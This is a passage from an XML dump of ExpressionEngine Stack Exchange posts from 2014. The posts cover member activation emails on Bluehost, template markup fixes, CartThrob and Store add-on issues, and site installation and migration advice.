  <row Id="21649" PostTypeId="1" AcceptedAnswerId="22019" CreationDate="2014-05-03T19:18:36.177" Score="2" ViewCount="813" Body="&lt;p&gt;I'm using &quot;Self-activation by email&quot; for new members, and FreeMember for the front end form. However new members are not being sent the activation email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done more testing and found this is true for all my EE sites on Bluehost. I have tried this on a 1.7, 2.7, and 2.8 EE site. I have also tried it with email accounts hosted on Bluehost and those not on Bluehost. None have worked for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've tested:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can email members (pending or activated members) via the communicate section. &lt;/li&gt;&#xA;&lt;li&gt;I have tried all three options (PHP, SMTP, and SendMail)&lt;/li&gt;&#xA;&lt;li&gt;my local build (MAMP) works fine&lt;/li&gt;&#xA;&lt;li&gt;email debugging doesn't produce any errors&lt;/li&gt;&#xA;&lt;li&gt;using the 're-send activation' link does not work either&lt;/li&gt;&#xA;&lt;li&gt;I disabled email activation, tried a test registration that worked, then enabled activation and it still didn't work. &lt;/li&gt;&#xA;&lt;li&gt;I get the admin notification emails instantly when a new member registers (i.e. the &quot;A new member has registered...&quot; email)&lt;/li&gt;&#xA;&lt;li&gt;I can send email via the &quot;communicate&quot; feature in the CP&lt;/li&gt;&#xA;&lt;li&gt;Password reset emails are working and are sent to the member&lt;/li&gt;&#xA;&lt;li&gt;The same is true for other installs of EE (v1.7, 2.7, 2.8) on three separate Bluehost accounts. All of these are the basic shared hosting plan.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bluehost support says that logs show the emails are being sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything different about how the Member Activation email messages are sent? It sounds like it could be a global filter that Bluehost has applied that is blocking all of these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else have EE on a Bluehost shared server and can test? Can you confirm that new member activation emails are or are not received?&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2014-05-14T18:50:08.107" LastActivityDate="2014-05-16T16:50:26.347" Title="Member Activation email are not received from Bluehost accounts" Tags="|email|activation|bluehost|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21650" PostTypeId="1" AcceptedAnswerId="21651" CreationDate="2014-05-04T03:53:59.597" Score="0" ViewCount="67" Body="&lt;pre&gt;&lt;code&gt; &amp;lt;div id=&quot;slider&quot; class=&quot;nivoSlider&quot;&amp;gt;&#xA;                             {exp:channel:entries channel=&quot;properties&quot; dynamic=&quot;no&quot; limit=&quot;10&quot; disable=&quot;categories|member_data|category_fields|member_data|pagination&quot;} &#xA;                          Start matrix- {property_photos limit=&quot;1&quot; sort=&quot;asc&quot;}    &#xA;                            Photo frame- {photo_images size=&quot;slider&quot;}       &#xA;                                &amp;lt;a href=&quot;{title_permalink=&quot;/properties/view&quot;}&quot;&amp;gt;&amp;lt;1mg src=&quot;{photo:url}&quot; alt=&quot;&quot; title=&quot;#htmlcaption&quot; /&amp;gt;&amp;lt;/a&amp;gt; &#xA;                            {/photo_images} {/property_photos} - close matrix&#xA;&#xA;                        &amp;lt;div id=&quot;htmlcaption&quot; class=&quot;nivo-html-caption&quot;&amp;gt;&#xA;     &amp;lt;strong&amp;gt;{property_address}&amp;lt;/strong&amp;gt;&amp;lt;span&amp;gt;{rooms} rooms,{bathrooms} Baths,{beds} beds, House size:{house_size} sq.ft., Price $ {price} &amp;lt;a href=&quot;#&quot;&amp;gt; View Property&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;                     &amp;lt;/div&amp;gt;{/exp:channel:entries} &amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could anyone give me some advice on how to improve this? When validating html, it warns that's the html caption div is repeated twice. Is there anyway to slim this down ?&lt;/p&gt;&#xA;" OwnerUserId="2524" LastEditorUserId="166" LastEditDate="2014-05-04T08:21:42.707" LastActivityDate="2014-05-04T08:30:49.987" Title="Nivo slider matrix photoframe" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21651" PostTypeId="2" ParentId="21650" CreationDate="2014-05-04T08:30:49.987" Score="0" Body="&lt;p&gt;I'm not sure how you've implemented that or what else is surrounding it but if you had 10 entries, you'd repeat the div 10 times - if you're getting this error repeating twice - you have 2 entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is expected behavior then I'd imagine the issue is that because you're calling &lt;code&gt;id='htmlcaption'&lt;/code&gt; and ID's MUST be unique - you simply need to append the entry ID so that it's unique&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;htmlcaption-{entry_id}&quot; class=&quot;nivo-html-caption&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you require that div only once then you should use the simple conditional…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count==1}&#xA;  &amp;lt;div id=&quot;htmlcaption&quot; class=&quot;nivo-html-caption&quot;&amp;gt;...stuff here&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need that div at the very end, use this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count == '{absolute_results}'}&#xA; &amp;lt;div id=&quot;htmlcaption&quot; class=&quot;nivo-html-caption&quot;&amp;gt;...stuff here&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-04T08:30:49.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21652" PostTypeId="2" ParentId="21642" CreationDate="2014-05-04T08:42:18.083" Score="1" Body="&lt;p&gt;This sounds like it can probably be done with jQuery, in which some script is loaded so that when a user clicks the radio button some hidden divs show up with the extra fields you want.  Just make sure the hidden divs are nested within the channel:form tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not tested this, but this might get you going in the right direction with showing hidden divs on radio button selection with jQuery:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/5940963/jquery-show-and-hide-divs-based-on-radio-button-click&quot;&gt;https://stackoverflow.com/questions/5940963/jquery-show-and-hide-divs-based-on-radio-button-click&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-05-04T08:42:18.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21653" PostTypeId="2" ParentId="19904" CreationDate="2014-05-04T08:59:43.877" Score="0" Body="&lt;p&gt;This is already working for the OP, but one other possibility for future reference is if the status itself is allowed for the member group.  In addition to channel posting permissions, you can also individually control each status' permissions from the Admin &gt; Channel Administration &gt; Statuses &gt; Group Name &gt; Status Name menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that when a status is marked 'Can access status' = 'No' for a member group, it means that the member group can not select it themselves although an administrator with proper permissions can still set an entry belonging to that restricted member group to the status.  So for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Status name is 'Approved'.  It is marked 'Can access status' = 'No' for member group 'Members' but 'Can access status' = 'Yes' for member group 'Administrators'.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Member group 'Members' is unable to edit an entry and set it to 'Approved'.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Member group 'Administrators' is able to edit an entry belonging to 'Members' and set the status to 'Approved'.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-05-04T08:59:43.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21654" PostTypeId="1" CreationDate="2014-05-04T12:18:21.083" Score="1" ViewCount="118" Body="&lt;p&gt;I'm having these errors in my EE developer log: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Deprecated function set_cookie() called in system/expressionengine/third_party/cartthrob/libraries/Cartthrob_session.php on line 195.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From template tag exp:cartthrob:__construct in core/article.&#xA;This tag may have been parsed from one of these snippets: {snippet_header}, {snippet_header_testing}, {snippet_header_backup_feb_1_2013}, {snippet_header-donation}&#xA;Deprecated since 2.8. Use EE_Input::set_cookie() instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running latest CT and EE versions. &#xA;is this something that should be ignored? &lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2014-11-04T16:37:48.837" Title="Continuous Errors in EE developer log" Tags="|cartthrob|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21655" PostTypeId="1" CreationDate="2014-05-04T13:00:32.370" Score="0" ViewCount="36" Body="&lt;p&gt;I have working production with Cartthrob v. 2.0373&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After upgrading EE to 2.8.1 and CT to 2.5 - when I try to add something in my cart - through the URL (&lt;a href=&quot;http://staging.heartfoundation.org.nz/shop/product_view/12235/good-food-cook-book&quot; rel=&quot;nofollow&quot;&gt;http://staging.heartfoundation.org.nz/shop/product_view/12235/good-food-cook-book&lt;/a&gt;) I'm getting this error during the custom extension, which can't be found. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Notice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Undefined index: hf_cartthrob&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/Extensions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 193&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The interesting this is however that i have database previously upgraded and to ee 281 and cart throb with this later version and this problem does not occurring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the file ext.hf_cartthrob.php in system_213_working/system/e..e../extensions and I copied it to my system/ee/extensions&#xA;but nothing changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: where the custom extensions are located in new version, or probably there is some setting in the database that preventing this error, when I try to switch the database to stage version, where I originally did the EE update?&lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2014-05-04T13:00:32.370" Title="Cartthrob fails to load custom extension" Tags="|cartthrob|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21656" PostTypeId="2" ParentId="21638" CreationDate="2014-05-04T17:29:00.613" Score="0" Body="&lt;p&gt;Not through any built-in method, no. But if you are familiar with writing SQL queries, I'm sure you could get the data out from the categories table, format it as needed, and re-insert it into the NavEE tables.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-05-04T17:29:00.613" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21657" PostTypeId="1" AcceptedAnswerId="21660" CreationDate="2014-05-04T19:23:43.793" Score="1" ViewCount="122" Body="&lt;p&gt;Given a channel with unknown fields (including grids), is there a way to display all the channel's fields in a table? I need a tabular representation of the data I have so that I can sort, filter, etc.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-07-04T01:18:24.490" Title="How to Display Channel Fields in a Table?" Tags="|channel-entries|search|channel|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21658" PostTypeId="2" ParentId="21512" CreationDate="2014-05-04T23:21:30.700" Score="1" Body="&lt;p&gt;Per the comments:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The issue is fixed. If we use the test account credentials, the shipping costs will be displayed incorrectly. When I entered the production API details, the shipping costs appeared correctly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-05-04T23:21:30.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21659" PostTypeId="2" ParentId="21523" CreationDate="2014-05-04T23:34:33.437" Score="2" Body="&lt;p&gt;To use the &lt;code&gt;store_order_taxes&lt;/code&gt; hook correctly, you should append a &lt;code&gt;Store\Model\Tax&lt;/code&gt; object to the list of existing taxes. That way, Store will automatically make all the necessary adjustments to the order totals for you (you shouldn't need to edit the order directly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change the &lt;code&gt;$order-&amp;gt;order_tax&lt;/code&gt; and &lt;code&gt;$order-&amp;gt;order_total&lt;/code&gt; variables directly, you may end up with some calculations not correctly including your tax (there are lots of different totals stored with the order). So it's best to use the built in Tax class and keep everything in sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of what this would look like in an extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store_order_taxes($order, $taxes)&#xA;{&#xA;    // make API query here&#xA;&#xA;    // create new tax object&#xA;    $tax = new \Store\Model\Tax();&#xA;    $tax-&amp;gt;name = 'My Custom Tax';&#xA;    $tax-&amp;gt;rate = 0.15;&#xA;    $tax-&amp;gt;included = false;&#xA;    $tax-&amp;gt;apply_to_shipping = true;&#xA;&#xA;    // add to list of taxes to apply to this order&#xA;    $taxes[] = $tax;&#xA;&#xA;    return $taxes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-05-04T23:34:33.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21660" PostTypeId="2" ParentId="21657" CreationDate="2014-05-05T00:42:28.513" Score="1" Body="&lt;p&gt;Unfortunately EE doesn't really have any built-in facilities for automatically outputting the fields in channels. You'd have to build each template to output whatever fields you wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A potential solution might be to use &lt;a href=&quot;https://github.com/putyourlightson/open-api&quot; rel=&quot;nofollow&quot;&gt;Open API&lt;/a&gt; which is an API module designed for feeding frontend data. That combined with some JavaScript should be able to get you where you want to go.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-05-05T00:42:28.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21661" PostTypeId="2" ParentId="21590" CreationDate="2014-05-05T00:50:24.570" Score="1" Body="&lt;p&gt;Per the comments:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Very strange. It's working fine for me now. I don't recall seeing a JS console error at the time it wasn't working.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Generally Store does update the select menu with states when you change the country, but this also happens once on page load, so I'm not sure why this wasn't working for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you come across it in future, check for JS errors in your browser's error console - it often comes down to something like jQuery not being loaded, or other errors on the page causing Store's JS not to run.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-05-05T00:50:24.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21662" PostTypeId="2" ParentId="21558" CreationDate="2014-05-05T00:58:06.397" Score="0" Body="&lt;p&gt;To track quotes, you can simply use the 'manual' payment method in Store, which will allow customers to proceed through the checkout without entering their card details etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will still adjust stock levels, so as you found out, if you want to leave stock levels intact you will need to disable the &quot;track stock&quot; option for those products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store never adjusts stock levels after an order is complete (when you refund/delete the order etc). The reason for this is that life is often much more complicated (refunded items are faulty, or are still in transit back to your office etc), so we make no assumptions about your business processes. If you wish to restore stock levels for refunded items, this must be done manually.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-05-05T00:58:06.397" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21663" PostTypeId="1" AcceptedAnswerId="21674" CreationDate="2014-05-05T01:03:33.353" Score="0" ViewCount="79" Body="&lt;p&gt;I have a couple of Member Groups that have access to the cPanel. I'd like to provide them with an easy way to access special frontend pages (instead of them having to type the URLs). There is a &quot;Quick Links Manager&quot; that I see as Super Admin, but whatever I put there doesn't seem to appear in the other Member Groups; also, I don't want all Member Groups that have cPanel access to access these special pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something in EE that I can set so that certain Member Groups will have an easy way to access these pages?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-05-05T14:08:21.847" Title="Quick Links for Member Groups" Tags="|members|member-management|cpanel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21665" PostTypeId="2" ParentId="21648" CreationDate="2014-05-05T03:07:06.353" Score="1" Body="&lt;p&gt;Having &lt;code&gt;{exp:...}&lt;/code&gt; tags used for parameters for another &lt;code&gt;{exp:...}&lt;/code&gt; tag is a recipe for disaster. That's because &lt;code&gt;{exp:...}&lt;/code&gt; tags won't parse before another &lt;code&gt;{exp:...}&lt;/code&gt; tag. In your case, &lt;code&gt;{exp:template_morsels:fetch}&lt;/code&gt; won't parse before &lt;code&gt;{exp:calendar:cal}&lt;/code&gt;. You would know this by &lt;strong&gt;turning on Template Debugging&lt;/strong&gt; and looking for your &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; code. Likely you'll see unparsed &lt;code&gt;{exp:template_morsels:fetch}&lt;/code&gt; code in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, the way Template Morsels is used above won't help much with performance. TM allows caching of portions of template code in a manner which performs better than normal EE template or tag caching. However, caching two parameters won't do much to performance. What should be done, &lt;em&gt;if Template Morsels winds up being the only solution&lt;/em&gt; (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/21607/solspace-calendar-500-error&quot;&gt;see the other thread about the 500 error first&lt;/a&gt;), is put the whole &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; code in a morsel.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-05-05T03:07:06.353" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21666" PostTypeId="1" AcceptedAnswerId="21667" CreationDate="2014-05-05T06:30:04.390" Score="1" ViewCount="1649" Body="&lt;p&gt;I am new to expression engine. I have installed expression engine using my own created theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I am trying to install, it is giving error as &quot;&lt;strong&gt;Your config file does not appear to be formatted correctly.&lt;/strong&gt;&quot; &lt;a href=&quot;http://bit.ly/1mtOlTC&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/1mtOlTC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did :-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed fresh copy of expression engine at local and then created theme after that on server, I have again installed expression engine but copied the theme to site_themes folder ad then installed using the server host, db and username. But it is giving the error stated above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2920" LastActivityDate="2018-02-02T16:06:19.993" Title="expression engine giving error - config file not formatted" Tags="|install|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21667" PostTypeId="2" ParentId="21666" CreationDate="2014-05-05T07:56:58.427" Score="3" Body="&lt;p&gt;I had a look at the link you posted. The error appears to be a different one. &#xA;&lt;strong&gt;&quot;No database connection settings were found in the database config file.&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you follow the official instructions: &lt;a href=&quot;http://goo.gl/wX84vq&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/wX84vq&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually you get the error you've mentioned if ExpressionEngine has not been installed yet. This appears to be the case. Please visit &lt;a href=&quot;http://creativescripters.com/expressionengine/admin.php&quot; rel=&quot;nofollow&quot;&gt;http://creativescripters.com/expressionengine/admin.php&lt;/a&gt; and complete the installation.&lt;/p&gt;&#xA;" OwnerUserId="1736" LastActivityDate="2014-05-05T07:56:58.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21668" PostTypeId="2" ParentId="21666" CreationDate="2014-05-05T07:57:07.833" Score="1" Body="&lt;p&gt;Have you set permissions to 666 on config and database php files? &lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2014-05-05T07:57:07.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21669" PostTypeId="1" CreationDate="2014-05-05T09:49:40.630" Score="0" ViewCount="550" Body="&lt;p&gt;Wondering what solutions people might have for mapping urls in multilingual sites. Our structure is basically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;en/template/english_article&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where each channel has the custom fields for each language set in this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;field1_en, field1_es, field1_de - field2_en, field2_es&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All fine but the nav is primarily by a language drop down. So someone on the page: &lt;em&gt;en/template/english_article&lt;/em&gt; would select, say, Spanish from the menu and be taken to the equivalent Spanish page in the ES template group: &lt;em&gt;es/template/english_article&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would show the Spanish content fine but the 'english article' part of the url should map to a Spanish equivalent...but this seem not so easy to do with the structure of nav by drop down - basically because the url_title will always be the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into this issue? Any workarounds or plugins to resolve it? Cheers!&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-05-06T08:11:19.157" Title="Multilingual Sites and Url Mapping" Tags="|multi-language|multilingual|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21670" PostTypeId="2" ParentId="21666" CreationDate="2014-05-05T10:12:44.623" Score="3" Body="&lt;p&gt;Firstly, when you say &amp;quot;theme&amp;quot; I am assuming you mean a set of templates.&lt;/p&gt;&#xA;&lt;p&gt;There are a few ways to approach this.&lt;/p&gt;&#xA;&lt;h3&gt;Copy your entire local installation to the remote server&lt;/h3&gt;&#xA;&lt;p&gt;If you have the site working on your local machine and simply want to now put it on a remote server then you do not need to run the installer on the server. You can copy the files to your server via FTP then create a backup of your local database and use this to recreate a database that your remote site can connect to.&lt;/p&gt;&#xA;&lt;p&gt;The problem then, however, is that you will need to update any paths used to make them work on the remote server. This can be done manually but is a bit fiddly or you can look at something like &lt;a href=&quot;http://www.hopstudios.com/software/deeploy_helper/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Deeploy Helper&lt;/a&gt; or &lt;a href=&quot;https://github.com/expressodev/reelocate&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reelocate&lt;/a&gt; which will let you update all the paths used in one place.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;My preferred option is to use Focus Labs Config which will allow you to create different configs to be used in different environments.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3&gt;or, Install a fresh copy of EE and update parts of it&lt;/h3&gt;&#xA;&lt;p&gt;This is the approach you are partly taking already. Basically create a completely clean installation of EE on your remote server, complete with a fresh database, then replace some of the files and upload a copy of your database.&lt;/p&gt;&#xA;&lt;p&gt;Once you have a fresh installation on the remote server:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Back up your local database to an SQL file and use that file to&#xA;overwrite the freshly installed remote database.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then copy your templates directory to overwrite the one on the&#xA;server&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have any third party add-ons installed then you should also&#xA;copy the /system/expressionengine/third-party and /themes&#xA;directories to your remote server.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy your local images directory to the remote server as well as any upload directories you have created.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Update the config file on the remote server to reflect the new environment&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You will also need to update paths and set permissions for config files, templates, cache, and file upload directories to reflect the new environment&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-05-06T06:55:36.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21671" PostTypeId="2" ParentId="19540" CreationDate="2014-05-05T10:14:33.177" Score="1" Body="&lt;p&gt;I had a similar issue (EE 2.8.1) and solved this by modifying the logout link to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='?ACT=109'}&amp;amp;XID={XID_HASH}&quot; role=&quot;button&quot;&amp;gt;logout&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll find the correct action_ID (ACT) for the profile:edit logout, in the exp_actions table.  &lt;/p&gt;&#xA;" OwnerUserId="2986" LastActivityDate="2014-05-05T10:14:33.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21673" PostTypeId="1" AcceptedAnswerId="22222" CreationDate="2014-05-05T12:49:44.633" Score="2" ViewCount="216" Body="&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;br&gt;&#xA;So i keep getting an error when adding more images to the second Content-Elements field on one of my pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one for the maincontent and this one seems to work with an &quot;infinite&quot; amount of images.&#xA;The second one, who is also parsed last gives me this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Error&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unable to load the requested class: assets_lib  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The first field currently has 3 Assets-elements with at total of 28 images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i try to add more than 4 images to the same kind of Element in the second field i get the error above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure where to go next, is there a way to get more info out of EE's error manager.&#xA;A file and row # would be a nice start. :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a problem with Content-Elements or with Assets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything i can add to help out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Versions&lt;/strong&gt;&lt;br&gt;&#xA;- EE: 2.8.1&lt;br&gt;&#xA;- Assets: 2.3.1&lt;br&gt;&#xA;- Content-Elements: 1.6.9&#xA;- Stash: 2.5.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template code&lt;/strong&gt;&lt;br&gt;&#xA;I keep the Elements-part in a Stash embed, the part that handles assets is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{assets}&#xA;&#xA;&amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;  {files}&#xA;  &amp;lt;div class=&quot;span3&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{url}&quot; class=&quot;gallery&quot; rel=&quot;{element_name}_{element_id}&quot;&amp;gt;&#xA;      &amp;lt;img src=&quot;{url:150x150}&quot; alt=&quot;{alt_text}&quot; title=&quot;{title}&quot;&amp;gt;&#xA;  &amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{switch=&quot;|||&amp;lt;/div&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;div class='row-fluid'&amp;gt;&quot;}&#xA;&#xA;{/files}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;{/assets}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the part of the page template that embeds them looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:content parse=&quot;inwards&quot;}&#xA;&#xA;&amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;span7&quot;&amp;gt;&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {page-content}&#xA;    {stash:embed:components:content_elements_parser process=&quot;start&quot;}&#xA;    {/page-content}&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;span4 offset1 subtopmargin&quot;&amp;gt;&#xA;&#xA;    {page-content-2}&#xA;    {stash:embed:components:content_elements_parser process=&quot;start&quot;}&#xA;    {/page-content-2}&#xA;&#xA;    {page-modules-right}&#xA;    ...&#xA;    {/page-modules-right}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  {stash:embed:components:social_share}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{if page-modules-bottom}&#xA;&amp;lt;div class=&quot;row-fluid content&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;    ...&#xA;  &amp;lt;/div&amp;gt;&#xA;  {/if}&#xA;  {/exp:stash:content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="329" 